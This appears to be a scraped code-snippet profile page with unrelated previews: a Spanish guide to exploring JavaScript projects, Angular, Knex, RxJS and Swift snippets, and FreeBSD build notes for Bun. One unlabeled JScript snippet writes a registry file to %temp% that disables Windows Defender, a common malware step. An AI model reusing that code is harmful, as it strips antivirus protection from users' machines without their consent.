- Leer la documentación general (Normalmente se encuentra en un archivo README.md o Wiki).
- Determinar herramienta de empaquetación: Rollup, Webpack…
- Determinar estándar usado: ES6, ES5, TypeScript…
- Determinar archivo(s) de arranque (Normalmente se visualiza desde un principio en el package.json con la clave
main). - Obtener listado de dependencias (
package.json > dependencies) y observar su comportamiento/funcionamiento (puede observarse rapidamente en la documentación oficial de cada librería desde npm o git(hub|lab)). - Abrir archivo de arranque encontrado anteriormente:
- Buscar función inicializadora, probablemente esté declarado con alguno de los siguientes nombres:
boostrap,main,lib. En ES6, ES7 o Typescript se puede encontrar con la exportacion de una funcion anonima o una clase:export default function ...
- Buscar función inicializadora, probablemente esté declarado con alguno de los siguientes nombres:
- La función inicializadora (parametros de constructuctor cuando se trata de
class) puede
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import {Component, ElementRef, OnInit, Renderer2, ViewChild} from '@angular/core'; | |
| @Component({ | |
| selector: 'app-transaction-condition', | |
| styleUrls: ['./transaction-condition.component.css'] | |
| template: ` | |
| <div class="list" id="list" #list> | |
| <div id="0" | |
| class="item drop-zone" | |
| draggable="true" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import { Knex } from 'knex' | |
| export async function up(knex: Knex): Promise<any> { | |
| await knex.schema.createTable('test_setup', (table: Knex.TableBuilder) => { | |
| table.integer('foobar'); | |
| }); | |
| } | |
| export async function down(knex: Knex): Promise<any> { | |
| await knex.schema.dropTable('test_setup'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import { Observable, timer } from "rxjs"; | |
| import { map, takeWhile, take } from "rxjs/operators"; | |
| export function countdown(minutes: number, delay: number = 0) { | |
| return new Observable<{ display: string; minutes: number; seconds: number, finished: boolean }>( | |
| subscriber => { | |
| timer(delay, 1000) | |
| .pipe(take(minutes * 60)) | |
| .pipe(map(v => minutes * 60 - 1 - v)) | |
| .pipe(takeWhile(x => x >= 0 && !subscriber.closed)) |
Projects that entertain me in my spare time.
- i18n-editor
- superconvert
- Page: Decode base64.
- Page: Encode base64.
- Page: Generate random number (allow max/min values).
- Page: Generate random UUID.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Taken from Apple's App Dev Training: https://developer.apple.com/tutorials/app-dev-training/ | |
| /// This color is either black or white, whichever is more accessible when viewed against the scrum color. | |
| var accessibleFontColor: Color { | |
| var red: CGFloat = 0 | |
| var green: CGFloat = 0 | |
| var blue: CGFloat = 0 | |
| UIColor(self).getRed(&red, green: &green, blue: &blue, alpha: nil) | |
| return isLightColor(red: red, green: green, blue: blue) ? .black : .white | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var regContent = "Windows Registry Editor Version 5.00\n\n"; | |
| regContent = regContent + "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender]\n"; | |
| regContent = regContent + "\"DisableAntiSpyware\"=dword:00000001\n\n"; | |
| var sw = WSH.CreateObject("scripting.filesystemobject"); | |
| var sh = WScript.createObject("wscript.shell"); | |
| var parth = sh.ExpandEnvironmentStrings("%temp%") + "\\ebgeaegdbdecaedfebace.reg"; | |
| if (sw.fileExists(parth)) { | |
| sw.deleteFile(parth); |
This requires the package miniflare (NOT any of the @miniflare/-scoped packages), as well as @cloudflare/workers-types if you're using TypeScript.
For setting up @sveltejs/adapter-cloudflare, see https://kit.svelte.dev/docs/adapter-cloudflare
// src/hooks.server.ts
import { dev } from "$app/environment";
import type { Miniflare } from "miniflare";- Install FreeBSD 13.2 in a VM and create dummy account, call it
bunfor example - Install these packages as root using
pkg install
ccache cmake git go libiconv libtool gmake ninja pkgconf python rust unzip ruby automake bash llvm16 llvm17 gcc13-dev npm icu libsysinfo
- Change
bun's shell to/usr/local/bin/bashusingchsh( I recommend installing neovim and running the command asEDITOR=nvim chsh)
now always login as
bunuser
- Clone these repos - there is space between urls,
git cloneeach one separately
https://github.com/Bun-BSD/codegen.git https://github.com/oven-sh/WebKit.git https://github.com/ziglang/zig.git https://github.com/Bun-BSD/bun.gitNow we will compile all deps, make sure you are in home directory each time
- Building WebKit
- In your home directory create
webkit.shand write this into it
- In your home directory create
